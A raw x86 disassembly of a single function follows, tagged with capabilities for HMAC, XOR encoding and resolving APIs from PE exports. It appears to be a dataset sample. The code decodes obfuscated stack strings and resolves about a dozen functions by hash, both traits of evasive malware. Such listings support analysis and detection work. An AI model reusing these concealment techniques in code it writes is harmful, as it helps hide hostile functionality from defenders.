Function at 0x40a780
Capabilities:
Authenticate hmac
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x2c8
mov esi, esp
push eax
sub esp, 0x2c
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x34], eax
mov esp, eax
push eax
mov dword [esi + 0x108], esp
push eax
mov dword [esi + 0x110], esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0xf0], eax
mov esp, eax
push eax
mov dword [esi + 0x10c], esp
sub esp, 0x40
mov dword [esi + 0xc], esp
push eax
mov dword [esi + 0xf4], esp
push eax
mov dword [esi + 0xf8], esp
push eax
mov dword [esi + 0x24], esp
push eax
mov dword [esi + 0x114], esp
sub esp, 0x80
mov ebx, esp
mov edi, dword [0x440a54]
mov al, byte [esi + 0x44]
mov byte [esi + 0x48], al
mov byte [esi + 0xd0], 0x27
mov byte [esi + 0xd1], 0xb1
mov byte [esi + 0xd2], 0x2b
mov byte [esi + 0xd3], 0xb3
mov byte [esi + 0xd4], 0x2a
mov byte [esi + 0xd5], 0xb5
mov byte [esi + 0xd6], 0x2e
mov byte [esi + 0xd7], 0xb7
mov byte [esi + 0xd8], 0x3c
mov byte [esi + 0xd9], 0xa9
mov byte [esi + 0xda], 0x3e
mov byte [esi + 0xdb], 0xab
mov byte [esi + 0xdc], 0x3c
mov byte [esi + 0xdd], 0xad
mov byte [esi + 0xde], 0x70
mov byte [esi + 0xdf], 0xaf
mov byte [esi + 0xe0], 4
mov byte [esi + 0xe1], 0xa1
mov byte [esi + 0xe2], 0x3e
mov byte [esi + 0xe3], 0xa3
mov byte [esi + 0xe4], 0x38
mov byte [esi + 0xe5], 0xa5
mov byte [esi + 0xe6], 0xa6
mov byte [esi + 0xe7], 0xa7
lea eax, [esi + 0xd0]
add eax, 0x18
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 3
call fcn.00408fe0
add esp, 0xc
mov dword [esi + 0x10], 0
mov eax, dword [esi + 0x10]
cmp eax, 0x1b
jae 0x40a925
jmp 0x40a8d9
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x10]
movzx ecx, byte [esi + ecx + 0xd0]
mov edx, eax
add edx, 0x80a0b948
lea eax, [eax + ecx - 0x7f5f46b8]
and edx, ecx
add edx, edx
sub eax, edx
mov dword [esi + 0x128], eax
mov eax, dword [esi + 0x128]
add al, 8
mov ecx, dword [esi + 0x10]
mov byte [esi + ecx + 0xd0], al
mov eax, dword [esi + 0x10]
inc eax
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x10]
cmp eax, 0x1b
jb 0x40a8d9
jmp 0x40a925
lea eax, [esi + 0xd0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x800
call edi
mov dword [esi + 0x124], eax
mov eax, dword [esi + 0x124]
jmp 0x40a953
jmp 0x40a955
lea ecx, [0x440a1c]
sub esp, 4
mov dword [esp], eax
call fcn.00433c10
test al, 1
jne 0x40a97c
jmp 0x40a96c
mov byte [esi + 3], 0
mov dword [esi + 4], 1
jmp 0x40b437
mov eax, dword [0x440a1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xcd5bd590
call fcn.00435d20
add esp, 8
mov dword [0x440a24], eax
mov eax, dword [0x440a1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x3098095e
call fcn.00435d20
add esp, 8
mov dword [0x440a28], eax
mov eax, dword [0x440a1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4133be71
call fcn.00435d20
add esp, 8
mov dword [0x440a2c], eax
mov eax, dword [0x440a1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1c8a781f
call fcn.00435d20
add esp, 8
mov dword [0x440a30], eax
mov eax, dword [0x440a1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x71c23cd8
call fcn.00435d20
add esp, 8
mov dword [0x440a34], eax
mov eax, dword [0x440a1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1c121576
call fcn.00435d20
add esp, 8
mov dword [0x440a38], eax
mov eax, dword [0x440a1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x21bbc64b
call fcn.00435d20
add esp, 8
mov dword [0x440a3c], eax
mov eax, dword [0x440a1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x8d2eb73e
call fcn.00435d20
add esp, 8
mov dword [0x440a40], eax
mov eax, dword [0x440a1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xde1934d7
call fcn.00435d20
add esp, 8
mov dword [0x440a44], eax
mov eax, dword [0x440a1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xa2add3c4
call fcn.00435d20
add esp, 8
mov dword [0x440a48], eax
mov eax, dword [0x440a1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1f4c40ff
call fcn.00435d20
add esp, 8
mov dword [0x440a4c], eax
mov eax, dword [0x440a1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xfe8974d2
call fcn.00435d20
add esp, 8
mov dword [0x440a50], eax
lea eax, [0x4395f4]
mov dword [esi + 0x13c], eax
lea eax, [0x4395f4]
mov dword [esi + 0x28], eax
lea eax, [0x4395f4]
add eax, 0x24
mov dword [esi + 0x120], eax
mov eax, dword [esi + 0x28]
cmp eax, dword [esi + 0x120]
setne al
test al, 1
jne 0x40ab3e
jmp 0x40ab32
mov dword [esi + 4], 2
jmp 0x40ac9f
mov eax, dword [esi + 0x28]
mov eax, dword [eax]
mov dword [esi + 0x11c], eax
lea eax, [esi + 0x240]
mov ecx, dword [esi + 0x11c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00430e90
add esp, 8
jmp 0x40ab69
jmp 0x40ab6b
jmp 0x40ab6d
mov dword [esi + 0x20], ebx
lea edi, [esi + 0x240]
lea eax, [esi + 0x140]
mov dword [esi + 0x2c], eax
add eax, 0x100
mov dword [esi + 0x30], eax
mov ecx, edi
mov eax, ecx
mov dl, byte [eax]
add ecx, 1
cmp dl, 0
jne 0x40ab89
mov ecx, eax
xor ecx, edi
mov edx, edi
xor edx, 0xffffffff
and eax, edx
shl eax, 1
sub eax, ecx
mov ebx, edi
add ebx, eax
mov dword [esi + 0xfc], 0
mov eax, dword [esi + 0x30]
add eax, 0xfffffffe
cmp ebx, edi
ja 0x40abc8
mov ebx, dword [esi + 0x20]
lea eax, [esi + 0x140]
jmp 0x40ac23
mov dword [esi + 0x30], eax
jmp 0x40abcd
cmp byte [edi], 0
jne 0x40abd7
mov eax, dword [esi + 0x2c]
jmp 0x40ac20
sub esp, 0xc
lea eax, [esi + 0xfc]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.0040ec20
add esp, 0xc
add edi, eax
mov cx, word [esi + 0xfc]
mov edx, dword [esi + 0x2c]
mov eax, edx
add eax, 2
mov word [edx], cx
mov ecx, eax
sub ecx, dword [esi + 0x30]
setb cl
mov edx, edi
sub edx, ebx
setb dl
and cl, dl
test cl, 1
mov dword [esi + 0x2c], eax
jne 0x40abcd
mov ebx, dword [esi + 0x20]
mov word [eax], 0
lea eax, [esi + 0x140]
sub esp, 4
mov dword [esp], eax
call fcn.0040b450
add esp, 4
test al, 1
jne 0x40ac42
jmp 0x40ac6d
lea eax, [esi + 0x140]
lea ecx, [0x440a58]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040bf40
add esp, 8
mov byte [esi + 3], 1
mov dword [esi + 4], 1
jmp 0x40ac76
mov dword [esi + 4], 0
jmp 0x40ac76
cmp dword [esi + 4], 0
jne 0x40ac83
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
cmp eax, 0
jne 0x40ac9d
jmp 0x40ac8d
mov eax, dword [esi + 0x28]
add eax, 4
mov dword [esi + 0x28], eax
jmp 0x40ac98
jmp 0x40ab20
jmp 0x40ac9f
mov eax, dword [esi + 4]
cmp eax, 2
jne 0x40b437
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov dword [esi + 0x138], eax
mov dword [esi + 0x40], 0
mov dword [esi + 0x118], 0
mov al, byte [esi + 0x3c]
mov byte [esi + 0x4c], al
mov byte [esi + 0x58], 0x54
mov byte [esi + 0x59], 0xad
mov byte [esi + 0x5a], 0x56
mov byte [esi + 0x5b], 0xa3
mov byte [esi + 0x5c], 0x54
mov byte [esi + 0x5d], 0xa1
mov byte [esi + 0x5e], 0x56
mov byte [esi + 0x5f], 0xa7
mov byte [esi + 0x60], 0x53
mov byte [esi + 0x61], 0xa5
mov byte [esi + 0x62], 0x74
mov byte [esi + 0x63], 0xbb
mov byte [esi + 0x64], 0x8b
mov byte [esi + 0x65], 0xb9
mov byte [esi + 0x66], 0x8d
mov byte [esi + 0x67], 0xbf
mov byte [esi + 0x68], 0x4b
mov byte [esi + 0x69], 0xbd
mov byte [esi + 0x6a], 0x46
mov byte [esi + 0x6b], 0xb3
mov byte [esi + 0x6c], 0x55
mov byte [esi + 0x6d], 0xb1
mov byte [esi + 0x6e], 0x57
mov byte [esi + 0x6f], 0xb7
mov byte [esi + 0x70], 0x49
mov byte [esi + 0x71], 0xb5
mov byte [esi + 0x72], 0xad
mov byte [esi + 0x73], 0x4b
mov byte [esi + 0x74], 0xbb
mov byte [esi + 0x75], 0x49
mov byte [esi + 0x76], 0xb3
mov byte [esi + 0x77], 0x4f
mov byte [esi + 0x78], 0xb1
mov byte [esi + 0x79], 0x4d
mov byte [esi + 0x7a], 0xb7
mov byte [esi + 0x7b], 0x43
mov byte [esi + 0x7c], 0xb2
mov byte [esi + 0x7d], 0x41
mov byte [esi + 0x7e], 0xbf
mov byte [esi + 0x7f], 0x47
mov byte [esi + 0x80], 0xb0
mov byte [esi + 0x81], 0x45
mov byte [esi + 0x82], 0xd3
mov byte [esi + 0x83], 0x5b
mov byte [esi + 0x84], 0x6a
mov byte [esi + 0x85], 0x59
mov byte [esi + 0x86], 0xb9
mov byte [esi + 0x87], 0x5f
mov byte [esi + 0x88], 0xaf
mov byte [esi + 0x89], 0x5d
mov byte [esi + 0x8a], 0xaf
mov byte [esi + 0x8b], 0x53
mov byte [esi + 0x8c], 0x63
mov byte [esi + 0x8d], 0x51
mov byte [esi + 0x8e], 0xa6
mov byte [esi + 0x8f], 0x57
mov byte [esi + 0x90], 0xa2
mov byte [esi + 0x91], 0x55
mov byte [esi + 0x92], 0x99
mov byte [esi + 0x93], 0x6b
mov byte [esi + 0x94], 0x92
mov byte [esi + 0x95], 0x69
mov byte [esi + 0x96], 0x97
mov byte [esi + 0x97], 0x6f
mov byte [esi + 0x98], 0x90
mov byte [esi + 0x99], 0x6d
mov byte [esi + 0x9a], 0x87
mov byte [esi + 0x9b], 0x63
mov byte [esi + 0x9c], 0x97
mov byte [esi + 0x9d], 0x61
mov byte [esi + 0x9e], 0x55
mov byte [esi + 0x9f], 0x67
mov byte [esi + 0xa0], 0xaf
mov byte [esi + 0xa1], 0x65
mov byte [esi + 0xa2], 0xb0
mov byte [esi + 0xa3], 0x7b
mov byte [esi + 0xa4], 0x4d
mov byte [esi + 0xa5], 0x79
mov byte [esi + 0xa6], 0xb4
mov byte [esi + 0xa7], 0x7f
mov byte [esi + 0xa8], 0x4d
mov byte [esi + 0xa9], 0x7d
mov byte [esi + 0xaa], 0x43
mov byte [esi + 0xab], 0x73
mov byte [esi + 0xac], 0xb9
mov byte [esi + 0xad], 0x71
mov byte [esi + 0xae], 0xbf
mov byte [esi + 0xaf], 0x77
mov byte [esi + 0xb0], 0xbf
mov byte [esi + 0xb1], 0x75
mov byte [esi + 0xb2], 0x3c
mov byte [esi + 0xb3], 0xb
mov byte [esi + 0xb4], 0x3c
mov byte [esi + 0xb5], 9
mov byte [esi + 0xb6], 0x39
mov byte [esi + 0xb7], 0xf
mov byte [esi + 0xb8], 0x3b
mov byte [esi + 0xb9], 0xd
mov byte [esi + 0xba], 0x33
mov byte [esi + 0xbb], 3
mov byte [esi + 0xbc], 0xc9
mov byte [esi + 0xbd], 1
mov byte [esi + 0xbe], 0x36
mov byte [esi + 0xbf], 7
mov byte [esi + 0xc0], 0x34
mov byte [esi + 0xc1], 5
mov byte [esi + 0xc2], 0x1a
mov byte [esi + 0xc3], 0x1b
lea eax, [esi + 0x58]
add eax, 0x6c
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 7
call fcn.00408fe0
add esp, 0xc
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0x14]
cmp eax, 0x73
jae 0x40afdd
jmp 0x40af8d
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
movzx edx, byte [esi + ecx + 0x58]
mov ecx, eax
add ecx, 0xb1e6f9e6
lea eax, [eax + edx - 0x4e19061a]
and ecx, edx
add ecx, ecx
mov edx, ecx
xor edx, eax
not ecx
and eax, ecx
add eax, eax
sub eax, edx
mov dword [esi + 0x12c], eax
mov eax, dword [esi + 0x12c]
add al, 0xb6
mov ecx, dword [esi + 0x14]
mov byte [esi + ecx + 0x58], al
mov eax, dword [esi + 0x14]
inc eax
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x14]
cmp eax, 0x73
jb 0x40af8d
jmp 0x40afdd
jmp 0x40afdf
jmp 0x40afe1
lea eax, [esi + 0x58]
lea ecx, [esi + 0x40]
lea edx, [esi + 0x118]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call fcn.0040bf80
add esp, 0xc
mov ecx, dword [esi + 0x34]
jmp 0x40b008
test al, 1
jne 0x40b011
jmp 0x40b42a
mov byte [esi + 0xb], 0
mov eax, dword [esi + 0x108]
mov al, byte [eax]
mov byte [esi + 0x50], al
mov byte [ecx], 0x52
mov byte [ecx + 1], 0x8c
mov byte [ecx + 2], 0x80
mov byte [ecx + 3], 0x70
mov byte [ecx + 4], 0x84
mov byte [ecx + 5], 0x3d
mov byte [ecx + 6], 0x71
mov byte [ecx + 7], 0x8b
mov byte [ecx + 8], 0x7d
mov byte [ecx + 9], 0x84
mov byte [ecx + 0xa], 0x85
mov byte [ecx + 0xb], 0x5c
mov byte [ecx + 0xc], 0x38
mov byte [ecx + 0xd], 0x66
mov byte [ecx + 0xe], 0x69
mov byte [ecx + 0xf], 0x9b
mov byte [ecx + 0x10], 0x99
mov byte [ecx + 0x11], 0x62
mov byte [ecx + 0x12], 0x94
mov byte [ecx + 0x13], 0x62
mov byte [ecx + 0x14], 0x92
mov byte [ecx + 0x15], 0x62
mov byte [ecx + 0x16], 0x9e
mov byte [ecx + 0x17], 0x92
mov byte [ecx + 0x18], 0x9f
mov byte [ecx + 0x19], 0x9f
mov byte [ecx + 0x1a], 0x6b
mov byte [ecx + 0x1b], 0x6a
mov byte [ecx + 0x1c], 0x9c
mov byte [ecx + 0x1d], 0x56
mov byte [ecx + 0x1e], 0xa3
mov byte [ecx + 0x1f], 0x58
mov byte [ecx + 0x20], 0x14
mov byte [ecx + 0x21], 0x77
mov byte [ecx + 0x22], 0x30
mov eax, ecx
add eax, 0x23
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 6
call fcn.00408fe0
add esp, 0xc
mov dword [esi + 0x18], 0
mov eax, dword [esi + 0x18]
cmp eax, 0x29
mov edx, dword [esi + 0x34]
jae 0x40b129
jmp 0x40b0e4
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
movzx ecx, byte [edx + ecx]
mov edx, eax
add edx, 0x2873a283
add eax, 0x83
and eax, ecx
or edx, ecx
sub edx, eax
mov dword [esi + 0x130], edx
mov edx, dword [esi + 0x34]
mov eax, dword [esi + 0x130]
add al, 0x6b
mov ecx, dword [esi + 0x18]
mov byte [edx + ecx], al
mov eax, dword [esi + 0x18]
inc eax
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x18]
cmp eax, 0x29
jb 0x40b0e4
jmp 0x40b129
mov eax, dword [esi + 0x40]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.0040c8a0
add esp, 8
jmp 0x40b140
jmp 0x40b142
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x38]
cmp eax, 0
setne al
test al, 1
jne 0x40b157
jmp 0x40b3ef
call fcn.0040edb0
mov eax, dword [esi + 0x10c]
mov al, byte [eax]
mov byte [esi + 0x54], al
mov edx, dword [esi + 0xf0]
mov byte [edx], 0x82
mov byte [edx + 1], 0x70
mov byte [edx + 2], 0xcd
mov byte [edx + 3], 0xb3
mov byte [edx + 4], 0xa1
mov byte [edx + 5], 0xab
mov byte [edx + 6], 0x9a
mov byte [edx + 7], 0x5f
mov dword [edx + 0xc], 0
mov dword [edx + 8], 0
mov dword [esi + 0x1c], 0
mov eax, dword [esi + 0x1c]
cmp eax, 0x10
jae 0x40b1ff
jmp 0x40b1ab
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x1c]
movzx ecx, byte [edx + ecx]
mov edx, eax
add edx, 0x3a37b18b
lea eax, [eax + ecx + 0x3a37b18b]
and edx, ecx
add edx, edx
sub eax, edx
mov edx, dword [esi + 0xf0]
mov dword [esi + 0x134], eax
mov ecx, dword [esi + 0x134]
mov eax, ecx
or eax, 0x32
and ecx, 0x32
add eax, ecx
inc al
mov ecx, dword [esi + 0x1c]
mov byte [edx + ecx], al
mov eax, dword [esi + 0x1c]
inc eax
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x1c]
cmp eax, 0x10
jb 0x40b1ab
jmp 0x40b1ff
mov eax, dword [esi + 0x38]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.0040c8a0
add esp, 8
mov ecx, dword [esi + 0x110]
mov dword [ecx], eax
cmp dword [ecx], 0
setne al
test al, 1
jne 0x40b22b
jmp 0x40b3ed
mov eax, dword [ecx]
mov byte [eax], 0
mov eax, dword [esi + 0x38]
add eax, 0x22
mov ecx, dword [esi + 0xf4]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.0040c8f0
add esp, 4
mov ecx, dword [esi + 0xf8]
mov dword [ecx], eax
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov edx, dword [esi + 0xc]
mov eax, dword [eax]
cmp eax, dword [ecx]
jb 0x40b276
mov dword [esi + 4], 4
jmp 0x40b271
jmp 0x40b2f9
mov eax, dword [esi + 0xf4]
mov eax, dword [eax]
mov ecx, dword [esi + 0x24]
mov ecx, dword [ecx]
add eax, ecx
mov ecx, dword [esi + 0x114]
jmp 0x40b28d
mov al, byte [eax]
jmp 0x40b291
mov byte [ecx], al
mov al, byte [ecx]
movsx eax, al
cmp eax, 0x61
setge al
jmp 0x40b2a0
test al, 1
jne 0x40b2a6
jmp 0x40b2d8
movsx eax, byte [ecx]
cmp eax, 0x7a
setle al
test al, 1
jne 0x40b2b5
jmp 0x40b2d8
movsx eax, byte [ecx]
sub eax, 0x61
add eax, 0xfffffff5
sub eax, 0xffffffe6
mov ecx, 0x1a
cdq
idiv ecx
mov eax, edx
and eax, 0x61
or edx, 0x61
add eax, edx
mov edx, dword [esi + 0xc]
jmp 0x40b2da
mov al, byte [ecx]
mov ecx, dword [esi + 0x24]
mov ecx, dword [ecx]
mov byte [edx + ecx], al
mov ecx, dword [esi + 0xf8]
mov edi, dword [esi + 0x24]
mov eax, dword [edi]
sub eax, 0xffffffff
mov dword [edi], eax
mov eax, edi
jmp 0x40b262
mov eax, dword [ecx]
mov byte [edx + eax], 0
mov dword [esi + 0x20], ebx
mov edi, ebx
add edi, 0x80
mov ecx, edx
mov eax, ecx
mov dl, byte [eax]
add ecx, 1
cmp dl, 0
jne 0x40b30c
mov ecx, eax
mov ebx, dword [esi + 0xc]
xor ecx, ebx
mov edx, ebx
xor edx, 0xffffffff
and eax, edx
mov edx, ebx
shl eax, 1
sub eax, ecx
mov ebx, edx
add ebx, eax
mov dword [esi + 0x100], 0
add edi, 0xfffffffe
cmp ebx, edx
mov eax, dword [esi + 0x20]
jbe 0x40b3ab
mov ecx, dword [esi + 0x20]
jmp 0x40b34a
cmp byte [edx], 0
jne 0x40b353
mov eax, ecx
jmp 0x40b3ab
sub esp, 0xc
lea eax, [esi + 0x100]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edx
mov dword [esi + 0xc], edx
mov dword [esi + 0x104], ecx
call fcn.0040ec20
add esp, 0xc
add dword [esi + 0xc], eax
mov cx, word [esi + 0x100]
mov edx, dword [esi + 0x104]
mov eax, edx
add eax, 2
mov word [edx], cx
mov ecx, eax
sub ecx, edi
setb cl
mov edx, dword [esi + 0xc]
sub edx, ebx
setb dl
and cl, dl
mov edx, dword [esi + 0xc]
test cl, 1
mov ecx, eax
jne 0x40b34a
mov word [eax], 0
mov edi, dword [esi + 0x20]
sub esp, 4
mov dword [esp], edi
call fcn.0040b450
add esp, 4
jmp 0x40b3c3
test al, 1
jne 0x40b3c9
jmp 0x40b3e7
lea eax, [0x440a58]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.0040bf40
add esp, 8
mov byte [esi + 0xb], 1
jmp 0x40b3e7
jmp 0x40b3e9
jmp 0x40b3eb
jmp 0x40b3ed
jmp 0x40b3ef
mov eax, dword [esi + 0x40]
sub esp, 4
mov dword [esp], eax
call fcn.00432970
add esp, 4
jmp 0x40b402
jmp 0x40b404
test byte [esi + 0xb], 1
je 0x40b417
mov byte [esi + 3], 1
mov dword [esi + 4], 1
jmp 0x40b41e
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
jmp 0x40b423
cmp eax, 0
jne 0x40b435
jmp 0x40b42a
mov byte [esi + 3], 0
mov dword [esi + 4], 1
jmp 0x40b437
mov al, byte [esi + 3]
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret